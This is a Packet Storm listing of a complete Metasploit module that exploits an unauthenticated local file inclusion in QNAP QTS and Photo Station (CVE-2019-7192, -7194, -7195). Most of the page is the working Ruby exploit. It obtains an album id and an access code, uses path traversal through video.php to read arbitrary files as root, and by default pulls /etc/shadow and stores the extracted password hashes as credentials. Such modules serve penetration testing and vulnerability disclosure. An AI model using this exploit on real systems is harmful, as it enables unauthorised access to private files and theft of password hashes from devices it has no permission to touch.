what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

QNAP QTS and Photo Station Local File Inclusion

QNAP QTS and Photo Station Local File Inclusion
Posted Aug 31, 2024
Authored by Henry Huang, Redouane Niboucha | Site metasploit.com

This Metasploit module exploits a local file inclusion in QNAP QTS and Photo Station that allows an unauthenticated attacker to download files from the QNAP filesystem. Because the HTTP server runs as root, it is possible to access sensitive files, such as SSH private keys and password hashes. This Metasploit module has been tested on QTS 4.3.3 (unknown Photo Station version) and QTS 4.3.6 with Photo Station 5.7.9.

tags | exploit, web, local, root, file inclusion
advisories | CVE-2019-7192, CVE-2019-7194, CVE-2019-7195
SHA-256 | 70107b0adbe195b76131c10cdea4a24c8ea076a3a1b93c6596908a86f7bcd91a

QNAP QTS and Photo Station Local File Inclusion

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'QNAP QTS and Photo Station Local File Inclusion',
'Description' => %q{
This module exploits a local file inclusion in QNAP QTS and Photo
Station that allows an unauthenticated attacker to download files from
the QNAP filesystem.

Because the HTTP server runs as root, it is possible to access
sensitive files, such as SSH private keys and password hashes.

This module has been tested on QTS 4.3.3 (unknown Photo Station
version) and QTS 4.3.6 with Photo Station 5.7.9.
},
'Author' => [
'Henry Huang', # Vulnerability discovery
'Redouane NIBOUCHA <rniboucha[at]yahoo.fr>' # MSF module
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2019-7192'],
['CVE', '2019-7194'],
['CVE', '2019-7195'],
['EDB', '48531'],
['URL', 'https://infosecwriteups.com/qnap-pre-auth-root-rce-affecting-450k-devices-on-the-internet-d55488d28a05'],
['URL', 'https://www.qnap.com/en-us/security-advisory/nas-201911-25'],
['URL', 'https://github.com/Imanfeng/QNAP-NAS-RCE']
],
'DisclosureDate' => '2019-11-25', # Vendor advisory
'Actions' => [
['Download', { 'Description' => 'Download the file at FILEPATH' }]
],
'DefaultAction' => 'Download',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
'Reliability' => []
}
)
)

register_options([
Opt::RPORT(8080),
OptString.new('TARGETURI', [true, 'The URI of the QNAP Website', '/']),
OptString.new('FILEPATH', [true, 'The file to read on the target', '/etc/shadow']),
OptBool.new('PRINT', [true, 'Whether or not to print the content of the file', true]),
OptInt.new('DEPTH', [true, 'Traversal Depth (to reach the root folder)', 3])
])
end

def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'cgi-bin', 'authLogin.cgi')
)

unless res && res.code == 200 && (xml = res.get_xml_document)
return Exploit::CheckCode::Safe
end

info = %w[modelName version build patch].map do |node|
xml.at("//#{node}").text
end

vprint_status("QNAP #{info[0]} #{info[1..].join('-')} detected")

return Exploit::CheckCode::Appears if info[2].to_i < 20191206

Exploit::CheckCode::Detected
end

def run
if check == Exploit::CheckCode::Safe
print_error('Device does not appear to be a QNAP')
return
end

file_content = exploit_lfi(datastore['FILEPATH'])

if file_content.nil? || file_content.empty?
print_bad('Failed to perform Local File Inclusion')
return
end

fname = File.basename(datastore['FILEPATH'])

path = store_loot(
'qnap.http',
'text/plain',
datastore['RHOST'],
file_content,
fname
)

print_good("File download successful, saved in #{path}")

print_good("File content:\n#{file_content}") if datastore['PRINT']

return unless datastore['FILEPATH'] == '/etc/shadow'

print_status('adding the /etc/shadow entries to the database')

file_content.lines.each do |line|
entries = line.split(':')

next if entries[1] == '*' || entries[1] == '!' || entries[1] == '!!'

credential_data = {
module_fullname: fullname,
workspace_id: myworkspace_id,
username: entries[0],
private_data: entries[1],
jtr_format: 'md5crypt',
private_type: :nonreplayable_hash,
status: Metasploit::Model::Login::Status::UNTRIED
}.merge(service_details)

create_credential(credential_data)
end
end

def exploit_lfi(file_path)
album_id, cookies = retrieve_album_id

unless album_id
print_bad('Failed to retrieve the Album Id')
return
end

print_good("Got Album Id : #{album_id}")

access_code = retrieve_access_code(album_id, cookies)

unless access_code
print_bad('Failed to retrieve the Access Code')
return
end

print_good("Got Access Code : #{access_code}")

print_status('Attempting Local File Inclusion')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'video.php'),
'method' => 'POST',
'cookie' => cookies,
'vars_post' => {
'album' => album_id,
'a' => 'caption',
'ac' => access_code,
'filename' => ".#{file_path.start_with?('/') ? '/..' * datastore['DEPTH'] + file_path : "/#{file_path}"}"
}
})

return unless res && res.code == 200

res.body
end

def retrieve_album_id
print_status('Getting the Album Id')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'photo', 'p', 'api', 'album.php'),
'method' => 'POST',
'vars_post' => {
'a' => 'setSlideshow',
'f' => 'qsamplealbum'
}
})

return unless res && res.code == 200

xml_data = res.get_xml_document
output = xml_data.xpath('//output[1]')
return if output.empty?

[output.inner_text, res.get_cookies]
end

def retrieve_access_code(album_id, cookies)
print_status('Getting the Access Code')
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path, 'photo', 'slideshow.php'),
'vars_get' => { 'album' => album_id },
'cookie' => cookies
})

return unless res && res.code == 200

res.body[/(?<=encodeURIComponent\(["']).+(?=['"])/]
end

end
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close